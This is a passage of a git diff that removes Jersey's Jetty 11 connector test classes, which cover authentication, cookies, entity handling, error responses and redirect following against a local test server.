-        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
deleted file mode 100644
index be077c9..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class AuthFilterTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testAuthGetWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAuthPostWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().post(Entity.text("POST"));
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-
-    @Test
-    public void testAuthDeleteWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().delete();
-        assertEquals(204, response.getStatus());
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
deleted file mode 100644
index 27ca10a..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-
-import jakarta.inject.Singleton;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.eclipse.jetty.client.util.BasicAuthentication;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class AuthTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
-    private static final String PATH = "test";
-
-    @Path("/test")
-    @Singleton
-    public static class AuthResource {
-
-        int requestCount = 0;
-
-        @GET
-        public String get(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("filter")
-        public String getFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return e;
-        }
-
-        @POST
-        @Path("filter")
-        public String postFilter(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-
-        @DELETE
-        public void delete(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-        }
-
-        @DELETE
-        @Path("filter")
-        public void deleteFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-        }
-
-        @DELETE
-        @Path("filter/withEntity")
-        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(AuthResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Test
-    public void testAuthGet() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().get();
-        assertEquals("GET", response.readEntity(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testAuthPost() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
-        assertEquals("POST", response.readEntity(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testAuthDelete() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().delete();
-        assertEquals(response.getStatus(), 204);
-        client.close();
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
deleted file mode 100644
index 7534d3d..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.Cookie;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.NewCookie;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.JerseyClient;
-import org.glassfish.jersey.client.JerseyClientBuilder;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class CookieTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
-
-    @Path("/")
-    public static class CookieResource {
-        @GET
-        public Response get(@Context HttpHeaders h) {
-            Cookie c = h.getCookies().get("name");
-            String e = (c == null) ? "NO-COOKIE" : c.getValue();
-            return Response.ok(e)
-                    .cookie(new NewCookie("name", "value")).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(CookieResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Test
-    public void testCookieResource() {
-        ClientConfig config = new ClientConfig();
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-        WebTarget r = client.target(getBaseUri());
-
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testDisabledCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.property(JettyClientProperties.DISABLE_COOKIES, true);
-        cc.connectorProvider(new JettyConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-
-        final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
-        if (connector.getCookieStore() != null) {
-            assertTrue(connector.getCookieStore().getCookies().isEmpty());
-        } else {
-            assertNull(connector.getCookieStore());
-        }
-        client.close();
-    }
-
-    @Test
-    public void testCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new JettyConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-
-        final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
-        assertNotNull(connector.getCookieStore().getCookies());
-        assertEquals(1, connector.getCookieStore().getCookies().size());
-        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
-        client.close();
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
deleted file mode 100644
index 48f51a1..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.io.IOException;
-
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.ContainerResponseContext;
-import jakarta.ws.rs.container.ContainerResponseFilter;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Custom logging filter.
- *
- * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com)
- */
-public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
-        ClientRequestFilter, ClientResponseFilter {
-
-    static int preFilterCalled = 0;
-    static int postFilterCalled = 0;
-
-    @Override
-    public void filter(ClientRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        postFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        postFilterCalled++;
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
deleted file mode 100644
index 22f50d3..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
+++ /dev/null
@@ -1,158 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import jakarta.xml.bind.annotation.XmlRootElement;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-// import org.glassfish.jersey.jackson.JacksonFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Tests the Http content negotiation.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class EntityTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
-
-    private static final String PATH = "test";
-
-    @Path("/test")
-    public static class EntityResource {
-
-        @GET
-        public Person get() {
-            return new Person("John", "Doe");
-        }
-
-        @POST
-        public Person post(Person entity) {
-            return entity;
-        }
-
-    }
-
-    @XmlRootElement
-    public static class Person {
-
-        private String firstName;
-        private String lastName;
-
-        public Person() {
-        }
-
-        public Person(String firstName, String lastName) {
-            this.firstName = firstName;
-            this.lastName = lastName;
-        }
-
-        public String getFirstName() {
-            return firstName;
-        }
-
-        public void setFirstName(String firstName) {
-            this.firstName = firstName;
-        }
-
-        public String getLastName() {
-            return lastName;
-        }
-
-        public void setLastName(String lastName) {
-            this.lastName = lastName;
-        }
-
-        @Override
-        public String toString() {
-            return firstName + " " + lastName;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(EntityResource.class/*, JacksonFeature.class*/);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-                //.register(/*JacksonFeature.class*/);
-    }
-
-    @Test
-    public void testGet() {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testGetAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
-                .post(Entity.xml(new Person("John", "Doe"))).get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
-                .get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
deleted file mode 100644
index a85cbc5..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.ClientErrorException;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class ErrorTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(ErrorResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-
-    @Path("/test")
-    public static class ErrorResource {
-        @POST
-        public Response post(String entity) {
-            return Response.serverError().build();
-        }
-
-        @Path("entity")
-        @POST
-        public Response postWithEntity(String entity) {
-            return Response.serverError().entity("error").build();
-        }
-    }
-
-    @Test
-    public void testPostError() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntity() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorAsync() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().async().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntityAsync() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().async().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
deleted file mode 100644
index d1a91cd..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.io.IOException;
-import java.net.URI;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Jetty connector follow redirect tests.
- *
- * @author Martin Matula
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class FollowRedirectsTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
-
-    @Path("/test")
-    public static class RedirectResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("redirect")
-        public Response redirect() {
-            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(RedirectResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    private static class RedirectTestFilter implements ClientResponseFilter {
-        public static final String RESOLVED_URI_HEADER = "resolved-uri";
-
-        @Override
-        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
-            if (responseContext instanceof ClientResponse) {
-                ClientResponse clientResponse = (ClientResponse) responseContext;
-                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
-            }
-        }
-    }
-
-    @Test
-    public void testDoFollow() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
-        config.connectorProvider(new JettyConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        Response r = t.path("test/redirect")
-                .register(RedirectTestFilter.class)
-                .request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-// TODO uncomment as part of JERSEY-2388 fix.
-//        assertEquals(
-//                UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
-//                r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
-
-        c.close();
-    }
-
-    @Test
-    public void testDoFollowPerRequestOverride() {
-        WebTarget t = target("test/redirect");
-        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
-        Response r = t.request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testDontFollow() {
-        WebTarget t = target("test/redirect");
-        assertEquals(303, t.request().get().getStatus());
-    }
-
-    @Test
-    public void testDontFollowPerRequestOverride() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-        WebTarget t = client.target(u);
-        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        Response r = t.path("test/redirect").request().get();
-        assertEquals(303, r.getStatus());
-        client.close();
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
deleted file mode 100644
index 727c389..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
